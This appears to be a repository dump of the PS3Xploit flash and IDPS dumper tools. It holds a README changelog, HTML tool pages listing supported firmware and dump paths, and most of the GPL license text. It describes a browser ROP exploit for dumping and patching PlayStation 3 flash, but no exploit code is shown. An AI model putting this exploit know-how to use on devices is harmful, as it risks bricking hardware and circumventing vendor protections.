├── dump.jpg ├── README.md ├── index_nor.html ├── index_idps.html ├── index_nor_hdd.html ├── index_nand.html ├── index_nand_hdd.html ├── LICENSE └── ps3xploit_v202.js /dump.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PS3Xploit/flash-dumper/HEAD/dump.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PS3 NAND/NOR/eMMC Flash/IDPS Dumper 2 | 3 | Official Thread: 4 | https://www.psx-place.com/threads/ps3xploit-4-84-hfw-flash-writer-idps-flash-dumpers-v2-0-1-now-install-cfw-from-4-84.23123/ 5 | 6 | 7 | v2.0.2 8 | 9 | * Updated To Support 4.85 HFW 10 | 11 | 12 | v2.0.1 13 | 14 | * Updated To Support 4.84 HFW 15 | 16 | 17 | v2.0 18 | 19 | * Freeze issues - Fixed 20 | * Occasional bad dumps - Fixed 21 | * No beeps & shutdown. Replaced by a graceful ROP chain exit & return to browser. This gives the opportunity to the user to dump after patching & validate the dump with littlebalup's py checker. As long as the user does not shutdown/restart, it's still possible to recover from bad patching. 22 | * Support for usb port 0,1,6 + sd/cf/ms cards. 23 | * Multi firmware support on all dumpers (4.10+) & DEX support on 4.81. 24 | * HDD editions for all dumpers & flash writer where a picture file placeholder is used for read/write operations. 25 | * Javascript refactoring for performance & efficiency. 26 | * ps3xploit.com will host the 2.0 update, no need for 3rd party sites. 27 | 28 | 29 | v1.0 (Thanksgiving 2017 Release) 30 | 31 | * Supports Direct OFW to CFW patching for All Phat and 2xxx Slim (minver 3.56 Dec 2010 and lower) 32 | * the NOR/NAND writer will just copy 3Mb of CoreOS data to both ros0 & ros1 in the flash memory. 33 | * There is only one version released for 4.82. The same hex patch file can be used on nor & nand. 34 | * It's as safe as possible, with a check for usb device & patch file making the exploit hang instead of corrupting flash if file is not found. 35 | * In case of corruption (extremely rare but could always happen), it's only a partial brick because no per console info ever gets erased so a hardware flasher could still be used if ever a recovery reboot was impossible 36 | -------------------------------------------------------------------------------- /index_nor.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | PS3Xploit Team - PS3 NOR Flash Memory Dumper v2.0.2 7 | 171 | 172 | 173 |
174 |

PS3 NOR Flash Memory Dumper v2.0.2

175 |

by PS3Xploit Team:

W | esc0rtd3w | habib | bguerville
176 |

v2.0.2 Update crafted by: bguerville (ROP, Javascript & Debugging) | esc0rtd3w (Debugging & Testing)

177 | Many thanks to xerpi for the userland memory leak exploit ps3 port, zecoxao & Joonie for their early & continued support, mysis for documenting vsh exports & plugins, the psdevwiki contributors of course, STLcardsWS for his long standing contribution & all ps3 community hackers/devs past & present, you know who you are...
178 | 179 |

Supports OFW/CFW/HFW CEX Firmware versions 4.10 to 4.85
180 | Supports OFW and CFW DEX Firmware versions 4.81
181 | Supports Phat Models Hxx/Jxx/Kxx/Lxx/Mxx/Pxx/Qxx
182 | Supports Slim Models 2xxx/3xxx
183 | Supports SuperSlim Models 4xxx [Excluding 4xxx-A]

184 | Instructions/additional details & news on http://www.psx-place.com/forums/PS3Xploit

PS3Xploit Team Donations: https://www.paypal.me/ps3xploit
185 |
186 |
187 | Dump file path:

/dev_usb000/dump.hex | /dev_usb001/dump.hex | /dev_usb006/dump.hex

188 | 189 |

190 |

191 |
192 |
193 |
194 | 195 | 199 | 200 | 201 | -------------------------------------------------------------------------------- /index_idps.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | PS3Xploit Team - PS3 IDPS Dumper v2.0.2 7 | 174 | 175 | 176 |
177 |

PS3 IDPS Dumper v2.0.2

178 |

by PS3Xploit Team:

W | esc0rtd3w | habib | bguerville
179 |

v2.0.2 Update crafted by: bguerville (ROP, Javascript & Debugging) | esc0rtd3w (Debugging & Testing)

180 | Many thanks to xerpi for the userland memory leak exploit ps3 port, zecoxao & Joonie for their early & continued support, mysis for documenting vsh exports & plugins, the psdevwiki contributors of course, STLcardsWS for his long standing contribution & all ps3 community hackers/devs past & present, you know who you are...
181 | 182 |

Supports OFW/CFW/HFW CEX Firmware versions 4.10 to 4.85
183 | Supports OFW and CFW DEX Firmware versions 4.81

184 |

NAND models
185 | Supports Phat Models Axx/Bxx/Cxx/Exx/Fxx/Gxx

186 |

NOR models
187 | Supports Phat Models Hxx/Jxx/Kxx/Lxx/Mxx/Pxx/Qxx
Supports Slim Models 2xxx/3xxx
Supports SuperSlim Models 4xxx [Excluding 4xxx-A]

188 |

eMMC models
189 | Supports SuperSlim Models 4xxx-A

190 | Instructions/additional details & news on http://www.psx-place.com/forums/PS3Xploit

PS3Xploit Team Donations: https://www.paypal.me/ps3xploit
191 |
192 |
193 |
IDPS dump file path:

/dev_usb000/idps.hex | /dev_usb001/idps.hex | /dev_usb006/idps.hex 194 | | /dev_sd/idps.hex | /dev_cf/idps.hex | /dev_ms/idps.hex

195 | 196 | 197 | 198 | 199 |

200 |

201 |
202 |
203 |
204 | 205 | 209 | 210 | 211 | -------------------------------------------------------------------------------- /index_nor_hdd.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | PS3Xploit Team - PS3 NOR Flash Memory Dumper v2.0.2 - HDD Edition 7 | 166 | 167 | 168 |
169 |

PS3 NOR Flash Memory Dumper v2.0.2 - HDD Edition

170 |

by PS3Xploit Team:

W | esc0rtd3w | habib | bguerville
171 |

v2.0.2 Update crafted by: bguerville (ROP, Javascript & Debugging) | esc0rtd3w (Debugging & Testing)

172 | Many thanks to xerpi for the userland memory leak exploit ps3 port, zecoxao & Joonie for their early & continued support, mysis for documenting vsh exports & plugins, the psdevwiki contributors of course, STLcardsWS for his long standing contribution & all ps3 community hackers/devs past & present, you know who you are...
Thanks as well to littlebalup for providing the idea & the related javascript used to make this HDD edition.
173 | 174 |

Supports OFW/CFW/HFW CEX Firmware versions 4.10 to 4.85
175 | Supports OFW and CFW DEX Firmware versions 4.81
176 | Supports Phat Models Hxx/Jxx/Kxx/Lxx/Mxx/Pxx/Qxx
177 | Supports Slim Models 2xxx/3xxx
178 | Supports SuperSlim Models 4xxx [Excluding 4xxx-A]

179 | Instructions/additional details & news on http://www.psx-place.com/forums/PS3Xploit

PS3Xploit Team Donations: https://www.paypal.me/ps3xploit
180 |
181 |
182 |

Step 1:

183 |

Download the dump.jpg picture file to your PS3 internal HDD.

184 |

Press Here. File → Save Target → System Storage (Photo)

185 |

The picture will serve as placeholder for the dump. It will be saved on the PS3 as :

186 |

Step 2:

187 | 188 |

Wait for the exploit initialization to succeed...

189 |

Step 3:

190 | 191 |

192 |
193 |
194 |
195 | 196 | 205 | 206 | 207 | -------------------------------------------------------------------------------- /index_nand.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | PS3Xploit Team - PS3 NAND/eMMC Flash Memory Dumper v2.0.2 7 | 185 | 186 | 187 |
188 |

PS3 NAND/eMMC Flash Memory Dumper v2.0.2

189 |

by PS3Xploit Team:

W | esc0rtd3w | habib | bguerville
190 |

v2.0.2 Update crafted by: bguerville (ROP, Javascript & Debugging) | esc0rtd3w (Debugging & Testing)

191 | Many thanks to xerpi for the userland memory leak exploit ps3 port, zecoxao & Joonie for their early & continued support, mysis for documenting vsh exports & plugins, the psdevwiki contributors of course, STLcardsWS for his long standing contribution & all ps3 community hackers/devs past & present, you know who you are...
192 | 193 |

Supports OFW/CFW/HFW CEX Firmware versions 4.10 to 4.85
194 | Supports OFW and CFW DEX Firmware versions 4.81
195 | Supports Phat Models Axx/Bxx/Cxx/Exx/Gxx
196 | Supports SuperSlim Models 4xxx-A

197 | Instructions/additional details & news on http://www.psx-place.com/forums/PS3Xploit

PS3Xploit Team Donations: https://www.paypal.me/ps3xploit
198 |
199 |
200 | Dump file path:

/dev_usb000/dump.hex | /dev_usb001/dump.hex | /dev_usb006/dump.hex 201 |
/dev_sd/dump.hex | /dev_cf/dump.hex | /dev_ms/dump.hex

202 | 203 |

204 |

205 |
206 |
207 |
208 | 209 | 214 | 215 | 216 | -------------------------------------------------------------------------------- /index_nand_hdd.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | PS3Xploit Team - PS3 NAND/eMMC Flash Memory Dumper v2.0.2 - HDD Edition 7 | 177 | 178 | 179 |
180 |

PS3 NAND/eMMC Flash Memory Dumper v2.0.2 - HDD Edition

181 |

by PS3Xploit Team:

W | esc0rtd3w | habib | bguerville
182 |

v2.0.2 Update crafted by: bguerville (ROP, Javascript & Debugging) | esc0rtd3w (Debugging & Testing)

183 | Many thanks to xerpi for the userland memory leak exploit ps3 port, zecoxao & Joonie for their early & continued support, mysis for documenting vsh exports & plugins, the psdevwiki contributors of course, STLcardsWS for his long standing contribution & all ps3 community hackers/devs past & present, you know who you are...
Thanks as well to littlebalup for providing the idea & the related javascript used to make this HDD edition.
184 | 185 |

Supports OFW/CFW/HFW CEX Firmware versions 4.10 to 4.85
186 | Supports OFW and CFW DEX Firmware versions 4.81
187 | Supports Phat Models Axx/Bxx/Cxx/Exx/Gxx
188 | Supports SuperSlim Models 4xxx-A

189 | Instructions/additional details & news on http://www.psx-place.com/forums/PS3Xploit

PS3Xploit Team Donations: https://www.paypal.me/ps3xploit
190 |
191 |
192 |

Step 1:

193 |

Download the dump.jpg picture file to your PS3 internal HDD.

194 |

Press Here. File → Save Target → System Storage (Photo)

195 |

The picture will serve as placeholder for the dump. It will be saved on the PS3 as :

196 |

Step 2:

197 | 198 |

Wait for the exploit initialization to succeed...

199 |

Step 3:

200 | 201 |

202 |
203 |
204 |
205 | 206 | 216 | 217 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU 